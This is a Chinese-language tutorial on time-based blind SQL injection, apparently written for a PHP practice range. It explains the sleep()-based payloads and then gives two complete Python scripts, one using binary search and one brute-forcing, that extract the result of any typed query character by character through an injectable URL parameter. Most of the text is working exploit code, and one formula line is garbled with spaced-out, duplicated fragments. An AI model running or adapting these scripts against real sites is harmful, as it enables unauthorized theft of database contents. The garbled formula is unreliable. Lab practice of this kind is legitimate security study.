时间盲注
0x00 时间盲注原理
时间盲注应用于 页面 无论输入什么 页面显示 内容都一样, 可以用
’ and sleep(5) --+ 发现 页面响应超过5秒
用到的函数有
sleep(5) 延时函数 延迟5秒
if($SQL,sleep(5),1) if函数 如果sql语句为真,执行sleep(5),为假执行1
length(str) 返回str字符串的长度
ascii(str) 返回str字符串的ascii编码
substr(str,start,len) 返回str字符串从start位开始len长度的字符串
if(length(($SQL)) = x , s l e e p ( 5 ) , 1 ) i f ( a s c i i ( s u b s t r ( ( x, sleep(5),1) if(ascii(substr(( x,sleep(5),1)if(ascii(substr((SQL),$x,1)) = $y,sleep(5),1)
流程
length($sql_exp)= $x
依次判断出 查询出的长度
if(ascii(substr((%s),%d,1))>%f,sleep(3),1)" % (exp, i, mid )
依次判断出要查询的每位的ascii值
0x01脚本编写 (请求少,费时多)
以开普勒php开源靶场为例
-
下载地址
https://github.com/admin360bug/PHP
1.1用到的库
requests
有waf 还可以加 time
import requests
1.2判断页面响应
根据页面响应判断
有三种响应
登录成功 关键词 “login ok,success…”
登录失败 关键词 “登录失败”
空页面情况,其他情况
def check_res(res):
if res.elapsed.seconds > 2 :
return True
else:
return False
1.3判断返回字符串长度
因为不知道执行次数,就用while True循环(死循环),直到 sql语句执行失败的长度的临界值就为要查询的内容的长度
eg:
length(select version()) > 1 为True
…
length(select version()) > 5 为False
进入 if not check_res(res) 为真, break 终止while死循环。 得到 length 为 5
def res_length(exp):
length = -1
sess = requests.session()
while True:
sql_exp = "if(length((%s)) = %d ,sleep(3),1)" % (exp, length)
url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
res = sess.get(url)
#print(res.url)
#print(res.elapsed.seconds)
if check_res(res) :
break
length += 1
return length
1.4 获取查询结果
通过二分法提高查询效率
eg: 以版本号 首尾为 5 测试 ascii(5)=53
先比较(0+127) 如果成立,比较 (63+127) //2 = 95 ,如果不成立 比较 (0+63)//2 = 31 依次类推
def res_result(exp,length):
result = ""
sess = requests.session()
for i in range(length):
left = 0
right = 127
while True:
mid = (left+right) // 2
print(i)
if mid == left :
result += chr(right)
break
sql_exp = "if(ascii(substr((%s),%d,1))>%f,sleep(3),1)" % (exp, i+1, mid )
url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
res = sess.get(url)
if check_res(res):
left = mid
else:
right = mid
return result
1.5 主函数
写一个 while 循环 一直 可以输入命令
if __name__ == '__main__':
while True:
exp= input(">>>请输入SQL语句:")
length = res_length(exp)
print("[+]length:%s " % (length))
result = res_result(exp,length)
print("[+]result:%s" % (result))
0x02 脚本编写(请求多,费时少)
区别在于:获取结果部分 没有用二分法,直接挨个暴力猜解的。
import requests
def check_res(res):
if res.elapsed.seconds > 2 :
return True
else:
return False
def res_length(exp):
length = -1
sess = requests.session()
while True:
sql_exp = "if(length((%s)) = %d ,sleep(3),1)" % (exp, length)
url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
res = sess.get(url)
#print(res.url)
#print(res.elapsed.seconds)
if check_res(res) :
break
length += 1
return length
def res_result(exp,length):
result = ""
sess = requests.session()
for i in range(length):
for ascii in range(128):
sql_exp = "if(ascii(substr((%s),%d,1)) = %f,sleep(3),1)" % (exp, i+1, ascii )
url = "http://www.bachang.com/index.php/Home/Index/SQL_three?id=2' and %s --+" % (sql_exp)
res = sess.get(url)
if check_res(res):
result += chr(ascii)
break
return result
if __name__ == '__main__':
while True:
exp= input(">>>请输入SQL语句:")
length = res_length(exp)
print("[+]length:%s " % (length))
result = res_result(exp,length)
print("[+]result:%s" % (result))